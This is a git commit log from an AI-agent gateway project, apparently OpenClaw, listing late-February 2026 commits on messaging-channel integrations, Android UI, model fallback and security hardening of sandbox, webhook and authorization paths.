Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8f9c07a200
Co-authored-by: rrenamed <87486610+rrenamed@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-25 19:47:16 -05:00
Peter Steinberger
f312222159 test: preserve config exports in agent handler mock 2026-02-26 00:42:51 +00:00
Peter Steinberger
aaeed3c4ea test(agents): add missing announce delivery regressions 2026-02-26 00:38:34 +00:00
Peter Steinberger
20c2db2103 refactor(gateway): split browser auth hardening paths 2026-02-26 01:37:00 +01:00
Peter Steinberger
8f8e46d898 refactor: unify reaction ingress policy guards across channels 2026-02-26 01:34:47 +01:00
Peter Steinberger
876018f322 chore(deps): update dependencies and lockfile 2026-02-26 01:31:36 +01:00
Peter Steinberger
4258a3307f refactor(agents): unify subagent announce delivery pipeline
Co-authored-by: Smith Labs <SmithLabsLLC@users.noreply.github.com>
Co-authored-by: Do Cao Hieu <docaohieu2808@users.noreply.github.com>
2026-02-26 00:30:44 +00:00
Peter Steinberger
aedf62ac7e fix: harden discord and slack reaction ingress authorization 2026-02-26 01:26:47 +01:00
Peter Steinberger
c736f11a16 fix(gateway): harden browser websocket auth chain 2026-02-26 01:22:49 +01:00
Peter Steinberger
f41715a18f refactor(browser): split act route modules and dedupe path guards 2026-02-26 01:21:34 +01:00
Peter Steinberger
046feb6b0e refactor: simplify telegram event authorization flow 2026-02-26 01:14:05 +01:00
Peter Steinberger
496a76c03b fix(security): harden browser trace/download temp path handling 2026-02-26 01:04:05 +01:00
Peter Steinberger
e56b0cf1a0 fix: enforce telegram reaction authorization 2026-02-26 01:03:03 +01:00
Peter Steinberger
c6dfa26f03 refactor(signal): unify reaction auth flow and table-drive tests 2026-02-26 01:02:05 +01:00
Shakker
f83719937a Changelog: note Discord embed fallback coverage 2026-02-25 23:58:42 +00:00
Shakker
a0a229a3bb Discord: align embed fallback in thread starter parsing 2026-02-25 23:58:42 +00:00
User
39cc547f74 fix(discord): include embed title in fallback text (#26907) 2026-02-25 23:58:42 +00:00
Peter Steinberger
b090d6019b test(agent-runner): add overflow empty-payload regression coverage (#26905) 2026-02-25 23:57:58 +00:00
Peter Steinberger
42f455739f fix(security): clarify denyCommands exact-match guidance 2026-02-26 00:55:35 +01:00
Peter Steinberger
eb73e87f18 fix(session): prevent silent overflow on parent thread forks (#26912)
Lands #26912 from @markshields-tl with configurable session.parentForkMaxTokens and docs/tests/changelog updates.

Co-authored-by: Mark Shields <239231357+markshields-tl@users.noreply.github.com>
2026-02-25 23:54:02 +00:00
Peter Steinberger
8d1481cb4a fix(gateway): require pairing for unpaired operator device auth 2026-02-26 00:52:50 +01:00
Peter Steinberger
2aa7842ade fix(signal): enforce auth before reaction notification enqueue 2026-02-26 00:44:46 +01:00
Peter Steinberger
ef326f5cd0 fix(browser): revalidate upload paths at use time 2026-02-26 00:40:56 +01:00
Youyou972
15cfba7075 fix: cron model fallback to agent defaults when payload.model fails (#26717)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 06454bd55b
Co-authored-by: Youyou972 <50808411+Youyou972@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-02-25 23:34:31 +00:00
Peter Steinberger
2011edc9e5 fix(gateway): preserve agentId through gateway send path
Landed from #23249 by @Sid-Qin.
Includes extra regression tests for agentId precedence + blank fallback.

Co-authored-by: Sid <201593046+Sid-Qin@users.noreply.github.com>
2026-02-25 23:31:35 +00:00
Peter Steinberger
125f4071bc fix(gateway): block agents.files symlink escapes 2026-02-26 00:31:08 +01:00
Peter Steinberger
45d59971e6 docs(changelog): clarify macOS beta scope for oauth fix 2026-02-26 00:26:54 +01:00
Peter Steinberger
5325ed90b2 refactor(nextcloud-talk): extract webhook pipeline and shared test harness 2026-02-26 00:23:36 +01:00
Peter Steinberger
f60d9591ef docs(changelog): add macOS auth fix note for setup-token path 2026-02-26 00:23:24 +01:00
Peter Steinberger
d512163d68 fix(security): harden nextcloud-talk webhook replay handling 2026-02-26 00:18:38 +01:00
Peter Steinberger
8f3310000a refactor(macos): remove anthropic oauth onboarding flow 2026-02-26 00:17:03 +01:00
Bill Wang
a898acbd55 feature/OPENCLAW_IMAGE 2026-02-25 10:55:17 -08:00
Bill Wang
98292331d5 Update docker-setup.sh
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-25 10:55:17 -08:00
Bill Wang
c7f88e85b7 feature/OPENCLAW_IMAGE 2026-02-25 10:55:17 -08:00
Bill Wang
15240bdbfe feature/OPENCLAW_IMAGE 2026-02-25 10:55:17 -08:00
Shadow
975c9f4b54 Agents: emphasize config.schema usage 2026-02-25 09:45:39 -06:00
Ayaan Zaidi
b12216af93 fix(android): refresh settings permissions on resume 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
2b7db53d06 fix(android): recover stuck voice sends after missing finals 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
285a0f48e5 fix(android): sync mic manager on toggle 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
f729cc7b07 fix(android): stop auto canvas rehydrate on node connect 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
10a1593e0c feat(android): redesign voice mode layout for full-height conversation 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
f9c3fdba45 refactor(android): expose voice conversation state to viewmodel 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
434dc46531 feat(android): stream voice turns from mic manager events 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
73677f2707 refactor(android): remove legacy voice wake controls from settings 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
6798330c24 feat(android): replace voice placeholder with mic transcript UI 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
3d29233bab feat(android): add single-path mic capture runtime manager 2026-02-25 18:23:50 +05:30
Ayaan Zaidi
90ddb3f271 fix(android): stabilize gateway operator reconnect 2026-02-25 18:23:50 +05:30
Nimrod Gutman
3607b733cb fix(changelog): add typing firestart guard note (#26325) (thanks @win4r) 2026-02-25 14:49:21 +02:00
Ubuntu
a182afcf97 style: expand curly braces per oxfmt 2026-02-25 14:49:21 +02:00
Ubuntu
ae658aa84c style: add curly braces to satisfy eslint(curly) 2026-02-25 14:49:21 +02:00
Ubuntu
97eb5542e8 fix(typing): guard fireStart against post-close invocation
The existing `closed` flag in `createTypingCallbacks` guards
`onReplyStart` but not `fireStart` itself. If a keepalive tick is
already in-flight when `fireStop` sets `closed = true` and calls
`keepaliveLoop.stop()`, the running `onTick → fireStart` callback
still completes and sends a stale `sendChatAction('typing')` after
the reply message has been delivered.

On Telegram (which has no cancel-typing API), this causes the typing
indicator to linger ~5 seconds after the bot's message appears.

Add a `closed` early-return in `fireStart` as defense-in-depth so
that even an in-flight tick is suppressed once cleanup has started.
2026-02-25 14:49:21 +02:00
Nimrod Gutman
b3f46f0e28 fix(test): stabilize low-mem parallel runner and cron session mock (#26324)
* fix(test): stabilize low-mem parallel lane and cron session mock

* feat(android): make QR scanning first-class onboarding

* docs(android): update README for native Android workflow

* fix(android): stabilize chat composer ime and tab layout

* fix(android): stabilize chat ime insets and tab bar

* fix(android): remove tab bar gap above system nav

* fix(android): harden scanned setup code parsing

* test(android): cover non-string setupCode QR payload

* fix(test): add changelog note for low-mem test runner (#26324) (thanks @ngutman)

---------

Co-authored-by: Ayaan Zaidi <zaidi@uplause.io>
2026-02-25 12:16:17 +02:00
Ayaan Zaidi
ed34129637 test(android): cover non-string setupCode QR payload 2026-02-25 14:05:56 +05:30
Ayaan Zaidi
036e3e633e fix(android): harden scanned setup code parsing 2026-02-25 14:05:56 +05:30
Ayaan Zaidi
9c1c083d98 fix(android): remove tab bar gap above system nav 2026-02-25 14:05:56 +05:30
Ayaan Zaidi
7725c0b9b3 fix(android): stabilize chat ime insets and tab bar 2026-02-25 14:05:56 +05:30
Ayaan Zaidi
959cbafcdb fix(android): stabilize chat composer ime and tab layout 2026-02-25 14:05:56 +05:30
Ayaan Zaidi
f894c23e64 docs(android): update README for native Android workflow 2026-02-25 14:05:56 +05:30
Ayaan Zaidi
2e3c05d9da feat(android): make QR scanning first-class onboarding 2026-02-25 14:05:56 +05:30
Nimrod Gutman
56b8c69487 docs(changelog): add discord typing fix entry (#26295) (thanks @ngutman) 2026-02-25 10:21:52 +02:00
Nimrod Gutman
a0fa283839 fix(discord): prevent stuck typing indicator 2026-02-25 10:21:52 +02:00
Ayaan Zaidi
fb76e316fb fix(test): use valid brave ui_lang locale 2026-02-25 11:58:52 +05:30
Brian Mendonca
6bc7544a6a fix(telegram): fail closed on empty group allowFrom override 2026-02-25 11:54:27 +05:30
Ayaan Zaidi
81752564e9 refactor(android): return sendNodeEvent status to callers 2026-02-25 11:43:35 +05:30
Ayaan Zaidi
b065265b73 fix(android): gate canvas restore on node connectivity 2026-02-25 11:43:35 +05:30
Ayaan Zaidi
41870fac16 fix(android): preserve scoped canvas URL suffix on TLS rewrite 2026-02-25 11:43:35 +05:30
Ayaan Zaidi
f701224a69 feat(canvas): add narrow-screen A2UI layout overrides 2026-02-25 11:43:35 +05:30
Ayaan Zaidi
35a4641bb6 fix(android): use mobile viewport settings for canvas webview 2026-02-25 11:43:35 +05:30
Ayaan Zaidi
1c0c58e30d feat(android): add screen-tab canvas restore flow 2026-02-25 11:43:35 +05:30
Ayaan Zaidi
e5399835b2 fix(android): normalize canvas host URLs for TLS gateways 2026-02-25 11:43:35 +05:30
Peter Steinberger
b247cd6d65 fix: harden Slack file-only fallback placeholder (#25181) (thanks @justinhuangcode) 2026-02-25 05:36:49 +00:00
justinhuangcode
a6337be3d1 refactor: use MAX_SLACK_MEDIA_FILES constant for file-only fallback
Replace the hardcoded limit of 5 with the existing
MAX_SLACK_MEDIA_FILES constant (8) from media.ts for consistency.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 05:36:49 +00:00
justinhuangcode
def28a87b2 fix(slack): deliver file-only messages when all media downloads fail
When a Slack message contains only files/audio (no text) and every file
download fails, `resolveSlackMedia` returns null and `rawBody` becomes
empty, causing `prepareSlackMessage` to silently drop the message.

Build a fallback placeholder from the original file names so the agent
still receives the message, matching the pattern already used in
`resolveSlackThreadHistory` for file-only thread entries.

Closes #25064
2026-02-25 05:36:49 +00:00
byungsker
177386ed73 fix(tui): resolve wrong provider prefix when session has model without modelProvider (#25874)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f0953a7284
Co-authored-by: lbo728 <72309817+lbo728@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-25 00:36:27 -05:00
Peter Steinberger
8f5f599a34 docs(security): note narrow filesystem roots for tool access 2026-02-25 05:10:10 +00:00
Peter Steinberger
52d933b3a9 refactor: replace bot.molt identifiers with ai.openclaw 2026-02-25 05:03:24 +00:00
Glucksberg
6e97470515 fix(brave-search): clarify ui_lang and search_lang format requirements (#25130)
* fix(brave-search): swap ui_lang and search_lang formats (#23826)

* fix(web-search): normalize Brave ui_lang/search_lang params

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-25 04:59:38 +00:00
Peter Steinberger
b564b72dc9 docs(changelog): add missing security PR entries (#26118 #26116 #26112 #26111 #26095) 2026-02-25 04:59:10 +00:00
bmendonca3
c1964e73a8 fix(discord): gate component command authorization for guild interactions (#26119)
* Discord: gate component command authorization

* test: cover allowlisted guild component authorization path (#26119) (thanks @bmendonca3)

---------

Co-authored-by: Brian Mendonca <brianmendonca@Brians-MacBook-Air.local>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-25 04:57:41 +00:00
David Rudduck
24a60799be fix(hooks): include guildId and channelName in message_received metadata (#26115)
* fix(hooks): include guildId and channelName in message_received metadata

The message_received hook (both plugin and internal) already exposes
sender identity fields (senderId, senderName, senderUsername, senderE164)
but omits the guild/channel context. Plugins that track per-channel
activity receive NULL values for channel identification.

Add guildId (ctx.GroupSpace) and channelName (ctx.GroupChannel) to the
metadata block in both the plugin hook and internal hook dispatch paths.
These properties are already populated by channel providers (e.g. Discord
sets GroupSpace to the guild ID and GroupChannel to #channel-name) and
used elsewhere in the codebase (channels/conversation-label.ts).

* test: cover guild/channel hook metadata propagation (#26115) (thanks @davidrudduck)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-25 04:56:19 +00:00
Sid
2e84017f23 fix(markdown): require paired || delimiters for spoiler detection (#26105)
* fix(markdown): require paired || delimiters for spoiler detection

An unpaired || (odd count across all inline tokens) would open a
spoiler that never closes, causing closeRemainingStyles to extend it
to the end of the text. This made all content after an unpaired ||
appear as hidden/spoiler in Telegram.

Pre-count || delimiters across the entire inline token group and skip
spoiler injection entirely when the count is less than 2 or odd. This
prevents single | characters and unpaired || from triggering spoiler
formatting.

Closes #26068

Co-authored-by: Cursor <cursoragent@cursor.com>

* fix: preserve valid spoiler pairs with trailing unmatched delimiters (#26105) (thanks @Sid-Qin)

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-25 04:54:51 +00:00
Sid
156f13aa64 fix(agents): continue fallback loop for unrecognized provider errors (#26106)
* fix(agents): continue fallback loop for unrecognized provider errors

When a provider returns an error that coerceToFailoverError cannot
classify (e.g., custom error messages without standard HTTP status
codes), the fallback loop threw immediately instead of trying the
next candidate. This caused fallback to stop after 2 models even
when 17 were configured.

Only rethrow unrecognized errors when they occur on the last
candidate. For intermediate candidates, record the error as an
attempt and continue to the next model.

Closes #25926

Co-authored-by: Cursor <cursoragent@cursor.com>

* test: cover unknown-error fallback telemetry and land #26106 (thanks @Sid-Qin)

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-25 04:53:26 +00:00
Sid
f7de41ca20 fix(followup): fall back to dispatcher when same-channel origin routing fails (#26109)
* fix(followup): fall back to dispatcher when same-channel origin routing fails

When routeReply fails for an originating channel that matches the
session's messageProvider, the onBlockReply callback was created by
that same channel's handler and can safely deliver the reply.
Previously the payload was silently dropped on any routeReply failure,
causing Feishu DM replies to never reach the user.

Cross-channel fallback (origin ≠ provider) still drops the payload to
preserve origin isolation.

Closes #25767

Co-authored-by: Cursor <cursoragent@cursor.com>

* fix: allow same-channel followup fallback routing (#26109) (thanks @Sid-Qin)

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-25 04:52:08 +00:00
Brian Mendonca
19d2a8998b security(line): cap unsigned webhook body read budget 2026-02-25 04:50:50 +00:00
Brian Mendonca
107bda27c9 security(msteams): isolate group allowlist from pairing-store entries 2026-02-25 04:49:52 +00:00
Brian Mendonca
d1bed505c5 security(irc): isolate group allowlist from DM pairing store 2026-02-25 04:48:43 +00:00
Brian Mendonca
0a58328217 security(nextcloud-talk): isolate group allowlist from pairing-store entries 2026-02-25 04:47:46 +00:00
Brian Mendonca
09200b3c10 security(nextcloud-talk): reject unsigned webhooks before body read 2026-02-25 04:45:59 +00:00
Peter Steinberger
38c4944d76 docs(security): clarify trusted plugin boundary 2026-02-25 04:39:11 +00:00
Peter Steinberger
146c92069b fix: stabilize live docker test handling 2026-02-25 04:35:05 +00:00
Peter Steinberger
9beec48e9c refactor(agents): centralize model fallback resolution 2026-02-25 04:32:31 +00:00
Peter Steinberger
dd6ad0da8c test(exec): stabilize Windows PATH prepend assertion 2026-02-25 04:29:48 +00:00
Shakker
2652bb1d7d Release: sync plugin versions to 2026.2.25 2026-02-25 04:19:59 +00:00
Ayaan Zaidi
d942e5924e docs: add changelog entry for #26079 (thanks @obviyus) 2026-02-25 09:32:07 +05:30
Ayaan Zaidi
1edd9f8bf5 build(android): migrate to AGP 9 new DSL kotlin setup 2026-02-25 09:32:07 +05:30
Ayaan Zaidi
797843c39a build(android): bump stable dependencies 2026-02-25 09:32:07 +05:30
Ayaan Zaidi
ff4dc050cc feat(android): add gfm chat markdown renderer 2026-02-25 09:32:07 +05:30
Ayaan Zaidi
6969027025 fix(android): restore chat text streaming 2026-02-25 09:32:07 +05:30
Peter Steinberger
d2597d5ecf fix(agents): harden model fallback failover paths 2026-02-25 03:46:34 +00:00
Peter Steinberger
480cc4b85c chore: roll to 2026.2.25 unreleased 2026-02-25 03:35:33 +00:00
Peter Steinberger
51d76eb13a build: switch 2026.2.24 appcast enclosure to stable tag 2026-02-25 03:30:56 +00:00
Peter Steinberger
8930dc0a7b build: update 2026.2.24 appcast enclosure to beta tag 2026-02-25 03:01:48 +00:00
Peter Steinberger
74e5cbfc12 build: update appcast for 2026.2.24 beta 2026-02-25 03:00:45 +00:00
Peter Steinberger
069c495df6 docs: clarify pairing commands in faq and troubleshooting 2026-02-25 02:50:17 +00:00
Peter Steinberger
7c59b78aee test: cap docker live model sweeps and harden timeouts 2026-02-25 02:48:34 +00:00
Peter Steinberger
df9a474891 test: stabilize no-output timeout exec test 2026-02-25 02:46:23 +00:00
Peter Steinberger
c2a837565c docs: fix configure section example 2026-02-25 02:44:49 +00:00
Peter Steinberger
bfafec2271 docs: expand doctor and devices CLI references 2026-02-25 02:41:13 +00:00
Peter Steinberger
a12cbf8994 docs: refresh CLI and trusted-proxy docs 2026-02-25 02:40:12 +00:00
Peter Steinberger
2d1e6931a6 docs(changelog): reorder and backfill 2026.2.24 release notes 2026-02-25 02:33:04 +00:00
Peter Steinberger
9f1bda9802 test: fix TS2742 in telegram media test utils 2026-02-25 02:32:35 +00:00
Peter Steinberger
45b5c35b21 test: fix CI failures in heartbeat and typing tests 2026-02-25 02:28:42 +00:00
Peter Steinberger
d42ef2ac62 refactor: consolidate typing lifecycle and queue policy 2026-02-25 02:16:03 +00:00
Peter Steinberger
24d7612ddf refactor(heartbeat): harden dm delivery classification 2026-02-25 02:13:07 +00:00
Peter Steinberger
91ae82ae19 refactor(sandbox): centralize dangerous docker override key handling 2026-02-25 02:12:15 +00:00
Peter Steinberger
885452f5c1 fix: fail-closed shared-session reply routing (#24571) (thanks @brandonwise) 2026-02-25 02:11:34 +00:00
Peter Steinberger
e28803503d fix: add sandbox bind-override regression coverage (#25410) (thanks @skyer-jian) 2026-02-25 02:09:37 +00:00
Peter Steinberger
a805d6b439 fix(heartbeat): block dm targets and internalize blocked prompts 2026-02-25 02:05:45 +00:00
Peter Steinberger
e0201c2774 fix: keep channel typing active during long inference (#25886, thanks @stakeswky)
Co-authored-by: stakeswky <stakeswky@users.noreply.github.com>
2026-02-25 02:03:27 +00:00
Peter Steinberger
dcd90438ec refactor(telegram-tests): split media suites and decouple store mock 2026-02-25 02:01:52 +00:00
Peter Steinberger
c267b5edf6 refactor(sandbox): unify tmp alias checks and dedupe hardlink tests 2026-02-25 02:01:12 +00:00
Peter Steinberger
eb4a93a8db refactor(sandbox): share container-path utils and tighten fs bridge tests 2026-02-25 01:59:53 +00:00
Peter Steinberger
c736778b3f fix: drop active heartbeat followups from queue (#25610, thanks @mcaxtr)
Co-authored-by: Marcus Castro <mcaxtr@gmail.com>
2026-02-25 01:58:51 +00:00
Peter Steinberger
6fa7226a67 fix: add changelog thanks for #25820 (thanks @bmendonca3) 2026-02-25 01:56:44 +00:00
Brian Mendonca
22689b9dc9 fix(sandbox): reject hardlinked tmp media aliases 2026-02-25 01:56:44 +00:00
Peter Steinberger
a01849e163 test(telegram): cover triple-dash inbound media path regression 2026-02-25 01:54:11 +00:00
Peter Steinberger
fa525bf212 fix(shell): prefer PowerShell 7 on Windows with tested fallbacks (#25684) 2026-02-25 01:49:33 +00:00
Peter Steinberger
bf5a96ad63 fix(agents): keep fallback chain reachable on configured fallback models (#25922) 2026-02-25 01:46:20 +00:00
Peter Steinberger
559b5eab71 fix(cli): support --query in memory search command (#25904) 2026-02-25 01:41:56 +00:00
Brandon Wise
389ccda0f6 fix: remove unused DeliverableMessageChannel import 2026-02-25 01:41:31 +00:00
Brandon Wise
f35c902bd6 style: fix oxfmt formatting in targets.test.ts 2026-02-25 01:41:31 +00:00
Brandon Wise
455fbc6b6d fix(security): prevent cross-channel reply routing in shared sessions 2026-02-25 01:41:31 +00:00
Peter Steinberger
c7ae4ed04d fix: harden sandbox fs dash-path regression coverage (#25891) (thanks @albertlieyingadrian) 2026-02-25 01:40:30 +00:00
Albert Lie
5e3502df5f fix(sandbox): prevent shell option interpretation for paths with leading hyphens
Paths starting with "-" (like those containing "---" pattern) can be
interpreted as shell options by the sh shell. This fix adds a helper
function that prepends "./" to paths starting with "-" to prevent
this interpretation.

This fixes the issue where sandbox filesystem operations fail with
"Syntax error: ; unexpected" when file paths contain the "---" pattern
used in auto-generated inbound media filenames like:
file_1095---f00a04a2-99a0-4d98-99b0-dfe61c5a4198.ogg

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2026-02-25 01:40:30 +00:00
Peter Steinberger
b35d00aaf8 fix: sanitize Gemini 3.1 Google reasoning payloads 2026-02-25 01:40:14 +00:00
Peter Steinberger
039713c3e7 fix: suppress reasoning payload leakage in whatsapp replies 2026-02-25 01:36:37 +00:00
Peter Steinberger
a177b10b79 test(windows): normalize risky-path assertions 2026-02-25 01:28:47 +00:00
Peter Steinberger
e2362d352d fix(heartbeat): default target none and internalize relay prompts 2026-02-25 01:28:47 +00:00
Peter Steinberger
4d89548e59 fix(ui): inherit default model fallbacks in agents overview (#25729)
Land PR #25729 from @Suko.
Use shared fallback-resolution helper and add regression coverage for default, override, and explicit-empty cases.

Co-authored-by: suko <miha.sukic@gmail.com>
2026-02-25 01:28:17 +00:00
Peter Steinberger
43f318cd9a fix(agents): reduce billing false positives on long text (#25680)
Land PR #25680 from @lairtonlelis.
Retain explicit status/code/http 402 detection for oversized structured payloads.

Co-authored-by: Ailton <lairton@telnyx.com>
2026-02-25 01:22:17 +00:00
Peter Steinberger
7dfac70185 fix(synology-chat): land @bmendonca3 fail-closed allowlist follow-up (#25827)
Carry fail-closed empty-allowlist guard clarity and changelog attribution for PR #25827.

Co-authored-by: Brian Mendonca <brianmendonca@Brians-MacBook-Air.local>
2026-02-25 01:19:43 +00:00
Peter Steinberger
0078070680 fix(telegram): refresh global undici dispatcher for autoSelectFamily (#25682)
Land PR #25682 from @lairtonlelis after maintainer rework:
track dispatcher updates when network decision changes to avoid stale global fetch behavior.

Co-authored-by: Ailton <lairton@telnyx.com>
2026-02-25 01:16:03 +00:00
Peter Steinberger
bd213cf2ad fix(agents): normalize SiliconFlow Pro thinking=off payload (#25435)
Land PR #25435 from @Zjianru.
Changelog: add 2026.2.24 fix entry with contributor credit.

Co-authored-by: codez <codezhujr@gmail.com>
2026-02-25 01:11:34 +00:00
Peter Steinberger
8470dff619 chore(deps): update dependencies except carbon 2026-02-25 01:10:36 +00:00
Peter Steinberger
2157c490af test: normalize tmp media path assertion for windows 2026-02-25 00:58:17 +00:00
Peter Steinberger
5c6b2cbc8e refactor: extract iMessage echo cache and unify suppression guards 2026-02-25 00:53:39 +00:00
Peter Steinberger
196a7dbd24 test(media): add win32 dev=0 local media regression 2026-02-25 00:47:02 +00:00
Peter Steinberger
2a11c09a8d fix: harden iMessage echo dedupe and reasoning suppression (#25897) 2026-02-25 00:46:56 +00:00
Peter Steinberger
a9ce6bd79b refactor: dedupe exec wrapper denial plan and test setup 2026-02-25 00:43:29 +00:00
Peter Steinberger
943b8f171a fix: align windows safe-open file identity checks 2026-02-25 00:42:04 +00:00
shenghui kevin
7455ceecf8 fix(windows): skip unreliable dev comparison in fs-safe openVerifiedLocalFile
On Windows, device IDs (dev) returned by handle.stat() and fs.lstat()
may differ even for the same file, causing false-positive 'path-mismatch'
errors when reading local media files.

This fix introduces a statsMatch() helper that:
- Always compares inode (ino) values
- Skips device ID (dev) comparison on Windows where it's unreliable
- Maintains full comparison on Unix platforms

Fixes #25699
2026-02-25 00:42:04 +00:00
Peter Steinberger
3c95f89662 refactor(exec): split system.run phases and align ts/swift validator contracts 2026-02-25 00:35:06 +00:00
Peter Steinberger
b0f392580b docs(changelog): remove next-release shipping sentence 2026-02-25 00:35:06 +00:00
Peter Steinberger
a1a6235c66 test: bridge discord voice private casts via unknown 2026-02-25 00:31:17 +00:00
Peter Steinberger
ee6fec36eb docs(discord): document DAVE defaults and decrypt recovery 2026-02-25 00:28:06 +00:00
Peter Steinberger
ce1dbeb986 fix(macos): clean warnings and harden gateway/talk config parsing 2026-02-25 00:27:36 +00:00
Peter Steinberger
9cd50c51b0 fix(discord): harden voice DAVE receive reliability (#25861)
Reimplements and consolidates related work:
- #24339 stale disconnect/destroyed session guards
- #25312 voice listener cleanup on stop
- #23036 restore @snazzah/davey runtime dependency

Adds Discord voice DAVE config passthrough, repeated decrypt failure
rejoin recovery, regression tests, docs, and changelog updates.

Co-authored-by: Frank Yang <frank.ekn@gmail.com>
Co-authored-by: Do Cao Hieu <admin@docaohieu.com>
2026-02-25 00:19:50 +00:00
Vincent Koc
1839ba8ccb Changelog: note allowlist stale-catalog model selection fix 2026-02-24 19:16:02 -05:00
Vincent Koc
5509bf2c75 Gateway tests: include synthetic allowlist models in models.list 2026-02-24 19:16:02 -05:00
Vincent Koc
f7cf3d0dad Gateway tests: accept allowlisted refs absent from catalog 2026-02-24 19:16:02 -05:00
Vincent Koc
f34325ec01 Tests: cover allowlist refs missing from catalog 2026-02-24 19:16:02 -05:00
Vincent Koc
e9068e2571 Agents: trust explicit allowlist refs beyond catalog 2026-02-24 19:16:02 -05:00
Peter Steinberger
16b228e4a6 fix(macos): resolve webchat panel corner clipping (#22458)
Co-authored-by: apethree <3081182+apethree@users.noreply.github.com>
Co-authored-by: agisilaos <3073709+agisilaos@users.noreply.github.com>
2026-02-25 00:14:56 +00:00
Peter Steinberger
57c9a18180 fix(security): block env depth-overflow approval bypass 2026-02-25 00:14:13 +00:00
Peter Steinberger
1970a1e9e5 fix(macos): keep Return for IME marked text commit (#25178)
Co-authored-by: jft0m <9837901+bottotl@users.noreply.github.com>
2026-02-25 00:14:00 +00:00
Peter Steinberger
11a0495d5f fix(macos): default voice wake forwarding to webchat (#25440)
Co-authored-by: Peter Machona <7957943+chilu18@users.noreply.github.com>
2026-02-25 00:12:44 +00:00
Vincent Koc
30082c9af1 Update CHANGELOG.md 2026-02-24 19:12:08 -05:00
Vincent Koc
99dd3448e8 Changelog: remove unrelated session entries from PR 2026-02-24 19:12:08 -05:00
Vincent Koc
1cb14fcf1c Changelog: note OpenRouter cooldown bypass 2026-02-24 19:12:08 -05:00
Vincent Koc
aee38c42d3 Tests: preserve OpenRouter explicit auth order under cooldown fields 2026-02-24 19:12:08 -05:00
Vincent Koc
06f0b4a193 Tests: keep OpenRouter runnable with legacy cooldown markers 2026-02-24 19:12:08 -05:00
Vincent Koc
ebc8c4b609 Tests: skip OpenRouter failure cooldown persistence 2026-02-24 19:12:08 -05:00
Vincent Koc
5de04960a0 Tests: cover OpenRouter cooldown display bypass 2026-02-24 19:12:08 -05:00
Vincent Koc
f1d5c1a31f Auth: use cooldown helper in explicit profile order 2026-02-24 19:12:08 -05:00
Vincent Koc
daa4f34ce8 Auth: bypass cooldown tracking for OpenRouter 2026-02-24 19:12:08 -05:00
Peter Steinberger
31e6d18538 fix(macos): prefer openclaw binary while keeping pnpm fallback (#25512)
Co-authored-by: Peter Machona <7957943+chilu18@users.noreply.github.com>
2026-02-25 00:11:53 +00:00
Peter Steinberger
236b22b6a2 fix(macos): guard voice audio paths with no input device (#25817)
Co-authored-by: Stefan Förster <103369858+sfo2001@users.noreply.github.com>
2026-02-25 00:10:14 +00:00
Peter Steinberger
e11e510f5b docs(changelog): add reporter credit for exec companion hardening 2026-02-25 00:06:14 +00:00
Peter Steinberger
97e56cb73c fix(discord): land proxy/media/reaction/model-picker regressions
Reimplements core Discord fixes from #25277 #25523 #25575 #25588 #25731 with expanded tests.

- thread proxy-aware fetch into inbound attachment/sticker downloads
- fetch /gateway/bot via proxy dispatcher before ws connect
- wire statusReactions emojis/timing overrides into controller
- compact model-picker custom_id keys with backward-compatible parsing

Co-authored-by: openperf <openperf@users.noreply.github.com>
Co-authored-by: chilu18 <chilu18@users.noreply.github.com>
Co-authored-by: Yipsh <Yipsh@users.noreply.github.com>
Co-authored-by: lbo728 <lbo728@users.noreply.github.com>
Co-authored-by: s1korrrr <s1korrrr@users.noreply.github.com>
2026-02-25 00:03:30 +00:00
Peter Steinberger
55cf92578d fix(security): harden system.run companion command binding 2026-02-25 00:02:03 +00:00
Peter Steinberger
8680240f7e docs(changelog): backfill landed fix PR entries 2026-02-24 23:59:04 +00:00
Fred White
b7deb062ea fix: normalize "bedrock" provider ID to "amazon-bedrock"
Add "bedrock" and "aws-bedrock" as aliases for the canonical
"amazon-bedrock" provider ID in normalizeProviderId().

Without this mapping, configuring a model as "bedrock/..." causes
the auth resolution fallback to miss the Bedrock-specific AWS SDK
path, since the fallback check requires normalized === "amazon-bedrock".
This primarily affects the main agent when the explicit auth override
is not preserved through config merging.

Fixes #15716
2026-02-24 23:57:11 +00:00
suko
b3e6653503 fix(onboard): avoid false 'telegram plugin not available' block 2026-02-24 23:55:27 +00:00
Peter Steinberger
b0bb3cca8a test(types): fix ts narrowing regressions in followup and matrix queue tests 2026-02-24 23:54:51 +00:00
Mark Musson
e22a2d77ba fix(whatsapp): stop retry loop on non-retryable 440 close 2026-02-24 23:52:49 +00:00
Peter Steinberger
def993dbd8 refactor(tmp): harden temp boundary guardrails 2026-02-24 23:51:10 +00:00
Vincent Koc
de586373e0 Changelog: note exact do not do that stop trigger 2026-02-24 18:50:53 -05:00
